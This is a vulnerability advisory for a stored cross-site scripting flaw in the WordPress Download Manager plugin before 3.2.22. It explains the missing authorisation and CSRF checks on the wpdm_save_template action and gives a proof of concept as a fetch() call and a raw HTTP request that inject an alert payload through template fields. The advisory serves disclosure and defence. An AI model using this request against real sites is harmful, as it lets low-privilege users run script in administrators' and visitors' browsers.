Download Manager < 3.2.22 - Subscriber+ Stored Cross-Site Scripting

The plugin does not sanitise and escape Template data before outputting it in various pages (such as admin dashboard and frontend). Due to the lack of authorisation and CSRF checks in the wpdm_save_template AJAX action, any authenticated users such as subscriber is able to call it and perform Cross-Site Scripting attacks

PoC

fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: “tpl[content]=%3Cimg src onerror=alert(/XSS/)%3E&action;=wpdm_save_template&tplid;=2&tpl;[css]=”, “method”: “POST”, }) .then(response => response.text()) .then(data => console.log(data)); POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 150 Connection: close Cookie: [any authenticated user] tpl[content]=%3Cimg+src+onerror=alert(/XSS/)%3E&action;=wpdm_save_template&tplid;=2&tpl;[css]= The XSS via tpl[content] triggers when previewing the template (as admin). The one from tpl[css] triggers in all frontend pages (as well as template preview)